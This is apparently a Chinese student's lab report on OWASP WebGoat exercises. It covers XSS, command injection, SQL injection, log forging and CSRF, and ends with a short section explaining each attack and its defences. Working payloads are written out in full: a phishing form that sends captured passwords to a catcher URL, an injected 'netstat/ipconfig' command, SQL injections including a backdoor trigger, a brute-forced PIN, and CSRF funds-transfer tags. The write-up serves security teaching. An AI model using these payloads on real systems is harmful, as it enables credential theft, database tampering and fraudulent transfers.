标签：员工信息 func file 实验 sea you 并且 创建 each
WebGoat： Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台，这个平台里包含了web中常见的各种漏洞，例如：跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等；
java -jar webgoat-container-7.0.1-war-exec.jar命令打开WebGoat
localhost:8080/WebGoat
search部分填写一个页面，用于钓鱼</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>please input your information here:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
点击search后
随便输入用户名和密码
登陆后，会发现 页面填写的信息已经被捕获并且反馈回来显示在页面上。。
XSS攻击代码存储于数据库中，每次当用户打开此网页时便会执行，危害大，常用语留言板，每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容。
在Title中随便输入
在Message中输入<script>alert(" you have been attacked by tvxq !!");</script>
submit创建帖子后：
命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法，简单易学，能造成大范围的损害，危及系统安全。尽管这类风险数目令人难以置信，互联网中的系统很容易受到这种形式的攻击。
启动WebScarab。在课程页面的下拉列表中任意选择一个页面，然后点“View"
"&netstat -an & ipconfig"。然后再点击view进行查看。
SELECT * FROM weather_data WHERE station=[station]
下面的表单允许用户查看天气数据。通过注入SQL字符串的方式查看所有的天气数据
选择一个城市，点“GO”
在编号后面添加“or 1=1”，确定
这种攻击时在日志文件中愚弄人的眼睛，攻击者可以利用这种方式清除他们在日志中的痕迹。
在Username输入fyh%0d%0aLogin Succeeded for username: admin，其中%0d是回车，%0a是换行符。
使用SQL注入绕过认证。
‘ or 1=1 --进行SQL注入，但是登录失败。使用inspect element查看了一下网页源码，发现输入框对输入的字符长度进行了限制，最多只允许输入8个字符，将8改为40
则可以登陆成功。
该课程的目的是通过注入语句，浏览到原本无法浏览的信息。通过一个普通员工的账户，浏览其BOSS的账户信息。
点击ViewProfile浏览员工信息
101 or 1=1 order by salary desc --
101;update employee set salary=90000。
101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘20155232@qq.com‘ WHERE userid = NEW.userid
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
查看pin数值是否大于10000
一直尝试 5000、2500，到1250发现提示变为账户有效
然后尝试2000、2250等
打开BurpSuite，设置代理proxy的options
将端口号改为5229，点击add，ok
当于将burpsuite当成中间服务器，每个数据包都流过它。。返回题目，点击go，返回BurpSuite，已经抓好包。
在Positions中，选择Sniper模式，在Payloads中，选择type类型为number，然后设置变化范围2250-2500，并设置步长为1，在Options中，选择Start attack开始攻击。
找到数据包大小变化的值为2364
在WebGoat中带入2364，正确。
在message中输入<img src=‘attack?Screen=273&menu=900&transferFunds=5000‘ width=‘1‘ height=‘1‘>
screen的值和menu的值是由上图得到的。然后通过宽高设置成1像素,隐藏掉这个图片。
<iframe
src="attack?Screen=273&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById(‘frame2‘).src=‘attack?Screen=280&menu=900&transferFunds=CONFIRM‘;">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
（1）SQL注入攻击原理，如何防御
原理：
利用现有应用程序，将恶意的SQL命令注入到后台数据库引擎执行的能力。通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库，最终达到欺骗服务器执行恶意的SQL命令。
防御：
以SQL注入为例,可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
（2）XSS攻击的原理，如何防御
原理：
XSS攻击是Web攻击中最常见的攻击方法之一，它是通过对网页注入可执行代码且成功地被浏览器
执行，达到攻击的目的，形成了一次有效XSS攻击，一旦攻击成功，它可以获取用户的联系人列
表，然后向联系人发送虚假诈骗信息，可以删除用户的日志等等。
防御：
- 在表单提交或者url参数传递前，对需要的参数进行过滤。
- 过滤用户输入的检查用户输入的内容中是否有非法内容。如<>（尖括号）、”（引号）、 ‘（单引号）、%（百分比符号）、;（分号）、()（括号）、&（& 符号）、+（加号）等。严格控制输出
（3）CSRF攻击原理，如何防御
原理：
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
防御：
- 验证HTTP Referer字段。
- 在请求地址中添加token并验证。
- 在HTTP头中自定义属性并验证。
标签：员工信息 func file 实验 sea you 并且 创建 each
原文地址：https://www.cnblogs.com/fyhtvxq/p/9108532.html
